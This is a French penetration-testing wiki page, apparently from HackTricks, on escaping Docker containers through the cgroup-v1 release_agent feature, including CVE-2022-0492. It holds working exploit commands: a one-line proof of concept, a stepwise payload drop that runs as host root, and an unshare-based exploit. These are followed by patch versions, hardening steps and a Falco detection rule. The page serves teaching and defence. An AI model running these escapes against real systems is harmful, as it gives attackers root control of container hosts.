122 lines
5.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Docker release_agent cgroups escape
{{#include ../../../../banners/hacktricks-training.md}}
**Pour plus de détails, référez-vous au** [**post de blog original**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ceci est juste un résumé :
---
## PoC classique (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Le PoC abuse de la fonctionnalité **cgroup-v1** `release_agent` : lorsque la dernière tâche d'un cgroup ayant `notify_on_release=1` se termine, le noyau (dans les **espaces de noms initiaux sur l'hôte**) exécute le programme dont le chemin est stocké dans le fichier writable `release_agent`. Étant donné que cette exécution se fait avec **des privilèges root complets sur l'hôte**, obtenir un accès en écriture au fichier suffit pour une évasion de conteneur.
### Bref aperçu lisible
1. **Préparer un nouveau cgroup**
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # ou o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
2. **Pointer `release_agent` vers un script contrôlé par l'attaquant sur l'hôte**
```shell
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
3. **Déposer le payload**
```shell
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
4. **Déclencher le notifier**
```shell
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # s'ajouter et sortir immédiatement
cat /output # contient maintenant les processus de l'hôte
```
---
## Vulnérabilité du noyau 2022 CVE-2022-0492
En février 2022, Yiqi Sun et Kevin Wang ont découvert que **le noyau ne vérifiait *pas* les capacités lorsqu'un processus écrivait dans `release_agent` dans cgroup-v1** (fonction `cgroup_release_agent_write`).
Effectivement, **tout processus capable de monter une hiérarchie cgroup (par exemple via `unshare -UrC`) pouvait écrire un chemin arbitraire dans `release_agent` sans `CAP_SYS_ADMIN` dans l'espace de noms utilisateur *initial***. Sur un conteneur Docker/Kubernetes exécuté en tant que root avec une configuration par défaut, cela permettait :
* une élévation de privilèges vers root sur l'hôte ; ↗
* une évasion de conteneur sans que le conteneur soit privilégié.
Le défaut a été attribué à **CVE-2022-0492** (CVSS 7.8 / Élevé) et corrigé dans les versions de noyau suivantes (et toutes les versions ultérieures) :
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Commit de patch : `1e85af15da28 "cgroup: Fix permission checking"`.
### Exploit minimal à l'intérieur d'un conteneur
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Si le noyau est vulnérable, le binaire busybox du *hôte* s'exécute avec un accès root complet.
### Durcissement & Atténuations
* **Mettre à jour le noyau** (≥ versions supérieures). Le correctif nécessite maintenant `CAP_SYS_ADMIN` dans le *namespace* utilisateur *initial* pour écrire dans `release_agent`.
* **Préférer cgroup-v2** la hiérarchie unifiée **a complètement supprimé la fonctionnalité `release_agent`**, éliminant cette classe d'évasions.
* **Désactiver les namespaces utilisateurs non privilégiés** sur les hôtes qui n'en ont pas besoin :
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Contrôle d'accès obligatoire** : Les politiques AppArmor/SELinux qui interdisent `mount`, `openat` sur `/sys/fs/cgroup/**/release_agent`, ou qui suppriment `CAP_SYS_ADMIN`, arrêtent la technique même sur des noyaux vulnérables.
* **Masque de liaison en lecture seule** pour tous les fichiers `release_agent` (exemple de script Palo Alto) :
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Détection à l'exécution
[`Falco`](https://falco.org/) expédie une règle intégrée depuis la v0.32 :
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
La règle se déclenche lors de toute tentative d'écriture sur `*/release_agent` depuis un processus à l'intérieur d'un conteneur qui détient encore `CAP_SYS_ADMIN`.
## Références
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) analyse détaillée et script d'atténuation.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}